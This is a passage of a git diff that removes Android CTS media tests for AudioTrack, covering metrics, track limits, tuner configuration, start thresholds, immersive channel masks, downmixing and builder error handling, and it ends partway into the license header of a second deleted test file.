-                .setEncoding(TEST_ENCODING)
-                .build();
-
-            final int TEST_USAGE = AudioAttributes.USAGE_MEDIA;
-            final int TEST_CONTENT_TYPE = AudioAttributes.CONTENT_TYPE_MUSIC;
-            final AudioAttributes attributes = new AudioAttributes.Builder()
-                .setUsage(TEST_USAGE)
-                .setContentType(TEST_CONTENT_TYPE)
-                .build();
-
-            // Setup a new audio track
-            track = new AudioTrack.Builder()
-                .setAudioFormat(format)
-                .setAudioAttributes(attributes)
-                .build();
-
-            final PersistableBundle metrics = track.getMetrics();
-            assertNotNull("null metrics", metrics);
-
-            // The STREAMTYPE constant was generally not present in P, and if so
-            // was incorrectly exposed as an integer.
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.STREAMTYPE,
-                    new String("AUDIO_STREAM_MUSIC"));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.CONTENTTYPE,
-                    new String("AUDIO_CONTENT_TYPE_MUSIC"));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.USAGE,
-                    new String("AUDIO_USAGE_MEDIA"));
-
-            // AudioTrack.MetricsConstants.SAMPLERATE, metrics doesn't exit
-            // AudioTrack.MetricsConstants.CHANNELMASK, metrics doesn't exist
-
-            // TestApi:
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.SAMPLE_RATE,
-                    new Integer(track.getSampleRate()));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.CHANNEL_MASK,
-                    new Long(TEST_CHANNEL_MASK >> 2));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.ENCODING,
-                    new String("AUDIO_FORMAT_PCM_16_BIT"));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.FRAME_COUNT,
-                    new Integer(track.getBufferSizeInFrames()));
-
-            // TestApi: no particular value checking.
-            AudioHelper.assertMetricsKey(metrics, AudioTrack.MetricsConstants.PORT_ID);
-            AudioHelper.assertMetricsKey(metrics, AudioTrack.MetricsConstants.ATTRIBUTES);
-        } finally {
-            if (track != null) {
-                track.release();
-            }
-        }
-    }
-
-    @Test
-    public void testMaxAudioTracks() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        // The framework must not give more than MAX_TRACKS tracks per UID.
-        final int MAX_TRACKS = 512; // an arbitrary large number > 40
-        final int FRAMES = 1024;
-
-        final AudioTrack[] tracks = new AudioTrack[MAX_TRACKS];
-        final AudioTrack.Builder builder = new AudioTrack.Builder()
-            .setAudioFormat(new AudioFormat.Builder()
-                .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
-                .setSampleRate(8000)
-                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
-                .build())
-            .setBufferSizeInBytes(FRAMES)
-            .setTransferMode(AudioTrack.MODE_STATIC);
-
-        int n = 0;
-        try {
-            for (; n < MAX_TRACKS; ++n) {
-                tracks[n] = builder.build();
-            }
-        } catch (UnsupportedOperationException e) {
-            ; // we expect this when we hit the uid track limit.
-        }
-
-        // release all the tracks created.
-        for (int i = 0; i < n; ++i) {
-            tracks[i].release();
-            tracks[i] = null;
-        }
-        Log.d(TAG, "" + n + " tracks were created");
-        assertTrue("should be able to create at least one static track", n > 0);
-        assertTrue("was able to create " + MAX_TRACKS + " tracks - that's too many!",
-            n < MAX_TRACKS);
-    }
-
-    @Test
-    public void testTunerConfiguration() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        assertThrows(
-            IllegalArgumentException.class,
-            () -> {
-                final AudioTrack.TunerConfiguration badConfig =
-                    new AudioTrack.TunerConfiguration(-1 /* contentId */, 1 /* syncId */);
-            });
-
-        assertThrows(
-            IllegalArgumentException.class,
-            () -> {
-                final AudioTrack.TunerConfiguration badConfig =
-                    new AudioTrack.TunerConfiguration(1 /* contentId*/, 0 /* syncId */);
-            });
-        assertThrows(
-            IllegalArgumentException.class,
-            () -> {
-                final AudioTrack track = new AudioTrack.Builder()
-                    .setEncapsulationMode(-1)
-                    .build();
-                track.release();
-            });
-
-        assertThrows(
-            IllegalArgumentException.class,
-            () -> {
-                final AudioTrack track = new AudioTrack.Builder()
-                    .setTunerConfiguration(null)
-                    .build();
-                track.release();
-            });
-
-        // this should work.
-        int[][] contentSyncPairs = {
-            {1, 2},
-            {AudioTrack.TunerConfiguration.CONTENT_ID_NONE, 42},
-        };
-        for (int[] pair : contentSyncPairs) {
-            final int contentId = pair[0];
-            final int syncId = pair[1];
-            final AudioTrack.TunerConfiguration tunerConfiguration =
-                    new AudioTrack.TunerConfiguration(contentId, syncId);
-
-            assertEquals("contentId must be set", contentId, tunerConfiguration.getContentId());
-            assertEquals("syncId must be set", syncId, tunerConfiguration.getSyncId());
-
-            // this may fail on creation, not in any setters.
-            AudioTrack track = null;
-            try {
-                track = new AudioTrack.Builder()
-                        .setEncapsulationMode(AudioTrack.ENCAPSULATION_MODE_NONE)
-                        .setTunerConfiguration(tunerConfiguration)
-                        .build();
-            } catch (UnsupportedOperationException e) {
-                ; // creation failure is OK as TunerConfiguration requires HW support,
-                // however other exception failures are not OK.
-            } finally {
-                if (track != null) {
-                    track.release();
-                }
-            }
-        }
-    }
-
-    @Test
-    public void testCodecFormatChangedListener() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final AudioTrack audioTrack = new AudioTrack.Builder().build();
-
-        assertThrows(
-            NullPointerException.class,
-            () -> { audioTrack.addOnCodecFormatChangedListener(
-                    null /* executor */, null /* listener */); });
-
-        assertThrows(
-            NullPointerException.class,
-            () -> { audioTrack.removeOnCodecFormatChangedListener(null /* listener */); });
-
-
-        final AudioTrack.OnCodecFormatChangedListener listener =
-            (AudioTrack track, AudioMetadataReadMap readMap) -> {};
-
-        // add a synchronous executor.
-        audioTrack.addOnCodecFormatChangedListener(new Executor() {
-                @Override
-                public void execute(Runnable r) {
-                    r.run();
-                }
-            }, listener);
-        audioTrack.removeOnCodecFormatChangedListener(listener);
-        audioTrack.release();
-    }
-
-    @Test
-    public void testDualMonoMode() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final AudioTrack audioTrack = new AudioTrack.Builder().build();
-
-        // Note that the output device may not support Dual Mono mode.
-        // The following path should always succeed.
-        audioTrack.setDualMonoMode(AudioTrack.DUAL_MONO_MODE_OFF);
-        assertEquals(AudioTrack.DUAL_MONO_MODE_OFF, audioTrack.getDualMonoMode());
-
-        // throws IAE on invalid argument.
-        assertThrows(
-            IllegalArgumentException.class,
-            () -> { audioTrack.setDualMonoMode(-1); }
-        );
-
-        // check behavior after release.
-        audioTrack.release();
-        assertThrows(
-            IllegalStateException.class,
-            () -> { audioTrack.setDualMonoMode(AudioTrack.DUAL_MONO_MODE_OFF); }
-        );
-        assertEquals(AudioTrack.DUAL_MONO_MODE_OFF, audioTrack.getDualMonoMode());
-    }
-
-    @Test
-    public void testAudioDescriptionMixLevel() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final AudioTrack audioTrack = new AudioTrack.Builder().build();
-
-        // Note that the output device may not support Audio Description Mix Level.
-        // The following path should always succeed.
-        audioTrack.setAudioDescriptionMixLeveldB(Float.NEGATIVE_INFINITY);
-        assertEquals(Float.NEGATIVE_INFINITY,
-                audioTrack.getAudioDescriptionMixLeveldB(), 0.f /*delta*/);
-
-        // throws IAE on invalid argument.
-        assertThrows(
-            IllegalArgumentException.class,
-            () -> { audioTrack.setAudioDescriptionMixLeveldB(1e6f); }
-        );
-
-        // check behavior after release.
-        audioTrack.release();
-        assertThrows(
-            IllegalStateException.class,
-            () -> { audioTrack.setAudioDescriptionMixLeveldB(0.f); }
-        );
-        assertEquals(Float.NEGATIVE_INFINITY,
-            audioTrack.getAudioDescriptionMixLeveldB(), 0.f /*delta*/);
-    }
-
-    @Test
-    public void testSetLogSessionId() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        AudioTrack audioTrack = null;
-        try {
-            audioTrack = new AudioTrack.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                            .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
-                            .build())
-                    .build();
-            audioTrack.setLogSessionId(LogSessionId.LOG_SESSION_ID_NONE); // should not throw.
-            assertEquals(LogSessionId.LOG_SESSION_ID_NONE, audioTrack.getLogSessionId());
-
-            final String ARBITRARY_MAGIC = "0123456789abcdef"; // 16 char Base64Url.
-            audioTrack.setLogSessionId(new LogSessionId(ARBITRARY_MAGIC));
-            assertEquals(new LogSessionId(ARBITRARY_MAGIC), audioTrack.getLogSessionId());
-
-            final MediaMetricsManager mediaMetricsManager =
-                    getContext().getSystemService(MediaMetricsManager.class);
-            final PlaybackSession playbackSession = mediaMetricsManager.createPlaybackSession();
-            audioTrack.setLogSessionId(playbackSession.getSessionId());
-            assertEquals(playbackSession.getSessionId(), audioTrack.getLogSessionId());
-
-            // write some data to generate a log entry.
-            short data[] = new short[audioTrack.getSampleRate() / 2];
-            audioTrack.play();
-            audioTrack.write(data, 0 /* offsetInShorts */, data.length);
-            audioTrack.stop();
-            Thread.sleep(500 /* millis */); // drain
-
-            // Also can check the mediametrics dumpsys to validate logs generated.
-        } finally {
-            if (audioTrack != null) {
-                audioTrack.release();
-            }
-        }
-    }
-
-    /*
-     * The following helpers and tests are used to test setting
-     * and getting the start threshold in frames.
-     *
-     * See Android CDD 5.6 [C-1-2] Cold output latency
-     */
-    private static final int START_THRESHOLD_SLEEP_MILLIS = 500;
-
-    /**
-     * Helper test that validates setting the start threshold.
-     *
-     * @param track
-     * @param startThresholdInFrames
-     * @throws Exception
-     */
-    private static void validateSetStartThresholdInFrames(
-            AudioTrack track, int startThresholdInFrames) throws Exception {
-        assertEquals(startThresholdInFrames,
-                track.setStartThresholdInFrames(startThresholdInFrames));
-        assertEquals(startThresholdInFrames,
-                track.getStartThresholdInFrames());
-    }
-
-    /**
-     * Helper that tests that the head position eventually equals expectedFrames.
-     *
-     * Exponential backoff to ~ 2 x START_THRESHOLD_SLEEP_MILLIS
-     *
-     * @param track
-     * @param expectedFrames
-     * @param message
-     * @throws Exception
-     */
-    private static void validatePlaybackHeadPosition(
-            AudioTrack track, int expectedFrames, String message) throws Exception {
-        int cumulativeMillis = 0;
-        int playbackHeadPosition = 0;
-        for (double testMillis = START_THRESHOLD_SLEEP_MILLIS * 0.125;
-             testMillis <= START_THRESHOLD_SLEEP_MILLIS;  // this is exact for IEEE binary double
-             testMillis *= 2.) {
-            Thread.sleep((int)testMillis);
-            playbackHeadPosition = track.getPlaybackHeadPosition();
-            if (playbackHeadPosition == expectedFrames) return;
-            cumulativeMillis += (int)testMillis;
-        }
-        fail(message + ": expected track playbackHeadPosition: " + expectedFrames
-                + " actual playbackHeadPosition: " + playbackHeadPosition
-                + " wait time: " + cumulativeMillis + "ms");
-    }
-
-    /**
-     * Helper test that sets the start threshold to frames, and validates
-     * writing exactly frames amount of data is needed to start the
-     * track streaming.
-     *
-     * @param track
-     * @param frames
-     * @throws Exception
-     */
-    private static void validateWriteStartsStream(
-            AudioTrack track, int frames) throws Exception {
-        assertEquals(1, track.getChannelCount()); // must be MONO
-        final short[] data = new short[frames];
-
-        // The track must be idle/underrun or the test will fail.
-        int expectedFrames = track.getPlaybackHeadPosition();
-
-        // Set our threshold to frames.
-        validateSetStartThresholdInFrames(track, frames);
-
-        Thread.sleep(START_THRESHOLD_SLEEP_MILLIS);
-        assertEquals("Changing start threshold doesn't start if it is larger than buffer data",
-                expectedFrames, track.getPlaybackHeadPosition());
-
-        // Write a small amount of data, this isn't enough to start the track.
-        final int PARTIAL_WRITE_IN_FRAMES = frames - 1;
-        track.write(data, 0 /* offsetInShorts */, PARTIAL_WRITE_IN_FRAMES);
-
-        // Ensure the track hasn't started.
-        Thread.sleep(START_THRESHOLD_SLEEP_MILLIS);
-        assertEquals("Track needs enough frames to start",
-                expectedFrames, track.getPlaybackHeadPosition());
-
-        // Write exactly threshold frames out, this should kick the playback off.
-        track.write(data, 0 /* offsetInShorts */, data.length - PARTIAL_WRITE_IN_FRAMES);
-
-        // Verify that we have processed the data now.
-        expectedFrames += frames;
-        Thread.sleep(frames * 1000L / track.getSampleRate());  // accommodate for #frames.
-        validatePlaybackHeadPosition(track, expectedFrames,
-                "Writing buffer data to start threshold should start streaming");
-    }
-
-    /**
-     * Helper that tests reducing the start threshold to frames will start track
-     * streaming when frames of data are written to it.  (Presumes the
-     * previous start threshold was greater than frames).
-     *
-     * @param track
-     * @param frames
-     * @throws Exception
-     */
-    private static void validateSetStartThresholdStartsStream(
-            AudioTrack track, int frames) throws Exception {
-        assertTrue(track.getStartThresholdInFrames() > frames);
-        assertEquals(1, track.getChannelCount()); // must be MONO
-        final short[] data = new short[frames];
-
-        // The track must be idle/underrun or the test will fail.
-        int expectedFrames = track.getPlaybackHeadPosition();
-
-        // This write is too small for now.
-        track.write(data, 0 /* offsetInShorts */, data.length);
-
-        Thread.sleep(START_THRESHOLD_SLEEP_MILLIS);
-        assertEquals("Track needs enough frames to start",
-                expectedFrames, track.getPlaybackHeadPosition());
-
-        // Reduce our start threshold.  This should start streaming.
-        validateSetStartThresholdInFrames(track, frames);
-
-        // Verify that we have processed the data now.
-        expectedFrames += frames;
-        Thread.sleep(frames * 1000L / track.getSampleRate());  // accommodate for #frames.
-        validatePlaybackHeadPosition(track, expectedFrames,
-                "Changing start threshold to buffer data level should start streaming");
-    }
-
-    // Start threshold levels that we check.
-    private enum ThresholdLevel { LOW, MEDIUM, HIGH };
-    @Test
-    public void testStartThresholdInFrames() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        for (ThresholdLevel level : new ThresholdLevel[] {
-                ThresholdLevel.LOW, ThresholdLevel.MEDIUM, ThresholdLevel.HIGH}) {
-            AudioTrack audioTrack = null;
-            try {
-                // Build our audiotrack
-                audioTrack = new AudioTrack.Builder()
-                        .setAudioFormat(new AudioFormat.Builder()
-                                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
-                                .build())
-                        .build();
-
-                // Initially the start threshold must be the same as the buffer size in frames.
-                final int bufferSizeInFrames = audioTrack.getBufferSizeInFrames();
-                assertEquals("At start, getBufferSizeInFrames should equal getStartThresholdInFrames",
-                        bufferSizeInFrames,
-                        audioTrack.getStartThresholdInFrames());
-
-                final int TARGET_THRESHOLD_IN_FRAMES;  // threshold level to verify
-                switch (level) {
-                    default:
-                    case LOW:
-                        TARGET_THRESHOLD_IN_FRAMES = 2;
-                        break;
-                    case MEDIUM:
-                        TARGET_THRESHOLD_IN_FRAMES = bufferSizeInFrames / 2;
-                        break;
-                    case HIGH:
-                        TARGET_THRESHOLD_IN_FRAMES = bufferSizeInFrames - 1;
-                        break;
-                }
-
-                // Skip extreme cases that don't need testing.
-                if (TARGET_THRESHOLD_IN_FRAMES < 2
-                        || TARGET_THRESHOLD_IN_FRAMES >= bufferSizeInFrames) continue;
-
-                // Start the AudioTrack. Now the track is waiting for data.
-                audioTrack.play();
-
-                validateWriteStartsStream(audioTrack, TARGET_THRESHOLD_IN_FRAMES);
-
-                // Try a condition that requires buffers to be filled again.
-                if (false) {
-                    // Only a deep underrun when the track becomes inactive requires a refill.
-                    // Disabled as this is dependent on underlying MixerThread timeouts.
-                    Thread.sleep(5000 /* millis */);
-                } else {
-                    // Flushing will require a refill (this does not require timing).
-                    audioTrack.pause();
-                    audioTrack.flush();
-                    audioTrack.play();
-                }
-
-                // Check that reducing to a smaller threshold will start the track streaming.
-                validateSetStartThresholdStartsStream(audioTrack, TARGET_THRESHOLD_IN_FRAMES - 1);
-            } finally {
-                if (audioTrack != null) {
-                    audioTrack.release();
-                }
-            }
-        }
-    }
-
-    @Test
-    public void testStartThresholdInFramesExceptions() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        AudioTrack audioTrack = null;
-        try {
-            // Build our audiotrack
-            audioTrack = new AudioTrack.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                            .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
-                            .build())
-                    .build();
-
-            // Test setting invalid start threshold.
-            final AudioTrack track = audioTrack; // make final for lambda
-            assertThrows(IllegalArgumentException.class, () -> {
-                track.setStartThresholdInFrames(-1 /* startThresholdInFrames */);
-            });
-        } finally {
-            if (audioTrack != null) {
-                audioTrack.release();
-            }
-        }
-        // If we're here audioTrack should be non-null but released,
-        // so calls should return an IllegalStateException.
-        final AudioTrack track = audioTrack; // make final for lambda
-        assertThrows(IllegalStateException.class, () -> {
-            track.getStartThresholdInFrames();
-        });
-        assertThrows(IllegalStateException.class, () -> {
-            track.setStartThresholdInFrames(1 /* setStartThresholdInFrames */);
-        });
-    }
-
-    /**
-     * Tests height channel masks and higher channel counts
-     * used in immersive AudioTrack streaming.
-     *
-     * @throws Exception
-     */
-    @Test
-    public void testImmersiveStreaming() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final String TEST_NAME = "testImmersiveStreaming";
-        final int TEST_FORMAT_ARRAY[] = {
-            AudioFormat.ENCODING_PCM_16BIT,
-            AudioFormat.ENCODING_PCM_FLOAT,
-        };
-        final int TEST_SR_ARRAY[] = {
-            48000,  // do not set too high - costly in memory.
-        };
-        final int TEST_CONF_ARRAY[] = {
-            AudioFormat.CHANNEL_OUT_5POINT1POINT2, // 8 ch (includes height channels vs 7.1).
-            AudioFormat.CHANNEL_OUT_7POINT1POINT2, // 10ch
-            AudioFormat.CHANNEL_OUT_7POINT1POINT4, // 12 ch
-            AudioFormat.CHANNEL_OUT_9POINT1POINT4, // 14 ch
-            AudioFormat.CHANNEL_OUT_9POINT1POINT6, // 16 ch
-            AudioFormat.CHANNEL_OUT_22POINT2,      // 24 ch
-        };
-
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final float TEST_SWEEP = 0; // sine wave only
-        final boolean TEST_IS_LOW_RAM_DEVICE = false;
-        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            double frequency = 400; // Note: frequency changes for each test
-            for (int TEST_SR : TEST_SR_ARRAY) {
-                for (int TEST_CONF : TEST_CONF_ARRAY) {
-                    if (AudioFormat.channelCountFromOutChannelMask(TEST_CONF)
-                            > AudioSystem.OUT_CHANNEL_COUNT_MAX) {
-                        continue; // Skip if the channel count exceeds framework capabilities.
-                    }
-                    playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
-                            TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
-                            WAIT_MSEC, 0 /* mask */);
-                    frequency += 50; // increment test tone frequency
-                }
-            }
-        }
-    }
-
-    @Test
-    public void testImmersiveChannelIndex() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final String TEST_NAME = "testImmersiveChannelIndex";
-        final int TEST_FORMAT_ARRAY[] = {
-                AudioFormat.ENCODING_PCM_FLOAT,
-        };
-        final int TEST_SR_ARRAY[] = {
-                48000,  // do not set too high - costly in memory.
-        };
-        final int MAX_CHANNEL_BIT = 1 << (AudioSystem.FCC_24 - 1); // highest allowed channel.
-        final int TEST_CONF_ARRAY[] = {
-                MAX_CHANNEL_BIT,      // likely silent - no physical device on top channel.
-                MAX_CHANNEL_BIT | 1,  // first channel will likely have physical device.
-                (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
-        };
-        final int TEST_WRITE_MODE_ARRAY[] = {
-                AudioTrack.WRITE_BLOCKING,
-                AudioTrack.WRITE_NON_BLOCKING,
-        };
-        final double TEST_SWEEP = 0;
-        final int TEST_TRANSFER_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        double frequency = 200; // frequency changes for each test
-        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            for (int TEST_SR : TEST_SR_ARRAY) {
-                for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
-                    for (int useDirect = 0; useDirect < 2; ++useDirect) {
-                        for (int TEST_CONF : TEST_CONF_ARRAY) {
-                            // put TEST_CONF in the inner loop to avoid
-                            // back-to-back creation of large tracks.
-                            playOnceStreamByteBuffer(
-                                    TEST_NAME, frequency, TEST_SWEEP,
-                                    TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                                    TEST_TRANSFER_MODE, TEST_WRITE_MODE,
-                                    true /* useChannelIndex */, useDirect != 0);
-                            frequency += 30; // increment test tone frequency
-                        }
-                    }
-                }
-            }
-        }
-    }
-
-    /**
-     * Verifies downmixer works with different AudioTrack surround channel masks.
-     *
-     * Also a listening test: on a stereo output device, you should hear sine wave tones
-     * instead of silence if the downmixer is working.
-     *
-     * @throws Exception
-     */
-    @Test
-    public void testDownmix() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final String TEST_NAME = "testDownmix";
-        final int TEST_FORMAT_ARRAY[] = {
-            // AudioFormat.ENCODING_PCM_8BIT,  // sounds a bit tinny
-            AudioFormat.ENCODING_PCM_16BIT,
-            AudioFormat.ENCODING_PCM_FLOAT,
-        };
-        final int TEST_SR_ARRAY[] = {
-            48000,
-        };
-        final int TEST_CONF_ARRAY[] = {
-            // This test will play back FRONT_WIDE_LEFT, then FRONT_WIDE_RIGHT.
-            AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
-            AudioFormat.CHANNEL_OUT_FRONT_WIDE_LEFT | AudioFormat.CHANNEL_OUT_FRONT_WIDE_RIGHT,
-        };
-
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final float TEST_SWEEP = 0; // sine wave only
-        final boolean TEST_IS_LOW_RAM_DEVICE = false;
-        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            double frequency = 400; // Note: frequency changes for each test
-            for (int TEST_SR : TEST_SR_ARRAY) {
-                for (int TEST_CONF : TEST_CONF_ARRAY) {
-                    // Remove the front left and front right channels.
-                    int signalMask = TEST_CONF & ~(AudioFormat.CHANNEL_OUT_FRONT_LEFT
-                            | AudioFormat.CHANNEL_OUT_FRONT_RIGHT);
-                    // Play all the "surround channels" in the mask individually
-                    // at different frequencies.
-                    while (signalMask != 0) {
-                        final int lowbit = signalMask & -signalMask;
-                        playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
-                                TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR,
-                                TEST_CONF, WAIT_MSEC, lowbit);
-                        signalMask -= lowbit;
-                        frequency += 50; // increment test tone frequency
-                    }
-                }
-            }
-        }
-    }
-
-    /**
-     * Ensure AudioTrack.getMinBufferSize invalid arguments return BAD_VALUE instead
-     * of throwing exception.
-     *
-     * @throws Exception
-     */
-    @Test
-    public void testInvalidMinBufferSize() throws Exception {
-        int TEST_SAMPLE_RATE = 24000;
-        int TEST_CHANNEL_CONFIGURATION = AudioFormat.CHANNEL_OUT_STEREO;
-        int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
-
-        for (int i = 1; i < 8; ++i) {
-            int minBuffSize = AudioTrack.getMinBufferSize(
-                    (i & 1) != 0 ? 0 : TEST_SAMPLE_RATE,
-                    (i & 2) != 0 ? AudioFormat.CHANNEL_INVALID : TEST_CHANNEL_CONFIGURATION,
-                    (i & 4) != 0 ? AudioFormat.ENCODING_INVALID :TEST_ENCODING);
-            assertEquals("Invalid configuration " + i + " should return ERROR_BAD_VALUE",
-                    AudioTrack.ERROR_BAD_VALUE, minBuffSize);
-        }
-    }
-
-    /**
-     * Test AudioTrack Builder error handling.
-     *
-     * @throws Exception
-     */
-    @Test
-    public void testAudioTrackBuilderError() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        final AudioTrack[] audioTrack = new AudioTrack[1]; // pointer to audio track.
-        final int BIGNUM = Integer.MAX_VALUE; // large value that should be invalid.
-        final int INVALID_SESSION_ID = 1024;  // can never occur (wrong type in 3 lsbs)
-        final int INVALID_CHANNEL_MASK = -1;
-
-        try {
-            // NOTE:
-            // Tuner Configuration builder error tested in testTunerConfiguration (same file).
-            // AudioAttributes tested in AudioAttributesTest#testAudioAttributesBuilderError.
-            // AudioFormat tested in AudioFormatTest#testAudioFormatBuilderError.
-
-            // We must be able to create the AudioTrack.
-            audioTrack[0] = new AudioTrack.Builder().build();
-            audioTrack[0].release();
-
-            // Out of bounds buffer size.  A large size will fail in AudioTrack creation.
-            assertThrows(UnsupportedOperationException.class, () -> {
-                audioTrack[0] = new AudioTrack.Builder()
-                        .setBufferSizeInBytes(BIGNUM)
-                        .build();
-            });
-
-            // 0 and negative buffer size throw IllegalArgumentException
-            for (int bufferSize : new int[] {-BIGNUM, -1, 0}) {
-                assertThrows(IllegalArgumentException.class, () -> {
-                    audioTrack[0] = new AudioTrack.Builder()
-                            .setBufferSizeInBytes(bufferSize)
-                            .build();
-                });
-            }
-
-            assertThrows(IllegalArgumentException.class, () -> {
-                audioTrack[0] = new AudioTrack.Builder()
-                        .setEncapsulationMode(BIGNUM)
-                        .build();
-            });
-
-            assertThrows(IllegalArgumentException.class, () -> {
-                audioTrack[0] = new AudioTrack.Builder()
-                        .setPerformanceMode(BIGNUM)
-                        .build();
-            });
-
-            // Invalid session id that is positive.
-            // (logcat error message vague)
-            assertThrows(UnsupportedOperationException.class, () -> {
-                audioTrack[0] = new AudioTrack.Builder()
-                        .setSessionId(INVALID_SESSION_ID)
-                        .build();
-            });
-
-            assertThrows(IllegalArgumentException.class, () -> {
-                audioTrack[0] = new AudioTrack.Builder()
-                        .setTransferMode(BIGNUM)
-                        .build();
-            });
-
-            // Specialty AudioTrack build errors.
-
-            // Bad audio encoding DRA expected unsupported.
-            try {
-                audioTrack[0] = new AudioTrack.Builder()
-                        .setAudioFormat(new AudioFormat.Builder()
-                                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
-                                .setEncoding(AudioFormat.ENCODING_DRA)
-                                .build())
-                        .build();
-                // Don't throw an exception, maybe it is supported somehow, but warn.
-                // Note: often specialty audio formats are offloaded (see setOffloadedPlayback).
-                // AudioTrackSurroundTest and AudioTrackOffloadedTest can be used as examples.
-                Log.w(TAG, "ENCODING_DRA is expected to be unsupported");
-                audioTrack[0].release();
-                audioTrack[0] = null;
-            } catch (UnsupportedOperationException e) {
-                ; // OK expected
-            }
-
-            // Sample rate out of bounds.
-            // System levels caught on AudioFormat.
-            assertThrows(IllegalArgumentException.class, () -> {
-                audioTrack[0] = new AudioTrack.Builder()
-                        .setAudioFormat(new AudioFormat.Builder()
-                                .setSampleRate(BIGNUM)
-                                .build())
-                        .build();
-            });
-
-            // Invalid channel mask - caught here on use.
-            assertThrows(IllegalArgumentException.class, () -> {
-                audioTrack[0] = new AudioTrack.Builder()
-                        .setAudioFormat(new AudioFormat.Builder()
-                                .setChannelMask(INVALID_CHANNEL_MASK)
-                                .build())
-                        .build();
-            });
-        } finally {
-            // Did we successfully complete for some reason but did not
-            // release?
-            if (audioTrack[0] != null) {
-                audioTrack[0].release();
-                audioTrack[0] = null;
-            }
-        }
-    }
-
-/* Do not run in JB-MR1. will be re-opened in the next platform release.
-    public void testResourceLeakage() throws Exception {
-        final int BUFFER_SIZE = 600 * 1024;
-        ByteBuffer data = ByteBuffer.allocate(BUFFER_SIZE);
-        for (int i = 0; i < 10; i++) {
-            Log.i(TAG, "testResourceLeakage round " + i);
-            data.rewind();
-            AudioTrack track = new AudioTrack(AudioManager.STREAM_VOICE_CALL,
-                                              44100,
-                                              AudioFormat.CHANNEL_OUT_STEREO,
-                                              AudioFormat.ENCODING_PCM_16BIT,
-                                              data.capacity(),
-                                              AudioTrack.MODE_STREAM);
-            assertTrue(track != null);
-            track.write(data.array(), 0, data.capacity());
-            track.play();
-            Thread.sleep(100);
-            track.stop();
-            track.release();
-        }
-    }
-*/
-
-    /* MockAudioTrack allows testing of protected getNativeFrameCount() and setState(). */
-    private class MockAudioTrack extends AudioTrack {
-
-        public MockAudioTrack(int streamType, int sampleRateInHz, int channelConfig,
-                int audioFormat, int bufferSizeInBytes, int mode) throws IllegalArgumentException {
-            super(streamType, sampleRateInHz, channelConfig, audioFormat, bufferSizeInBytes, mode);
-        }
-
-        public void setState(int state) {
-            super.setState(state);
-        }
-
-        public int getNativeFrameCount() {
-            return super.getNativeFrameCount();
-        }
-    }
-
-    private static AudioPresentation createAudioPresentation() {
-        return (new AudioPresentation.Builder(42 /*presentationId*/)).build();
-    }
-
-    private static Context getContext() {
-        return InstrumentationRegistry.getInstrumentation().getTargetContext();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
deleted file mode 100644
index 89f42b0..0000000
--- a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
+++ /dev/null
@@ -1,285 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
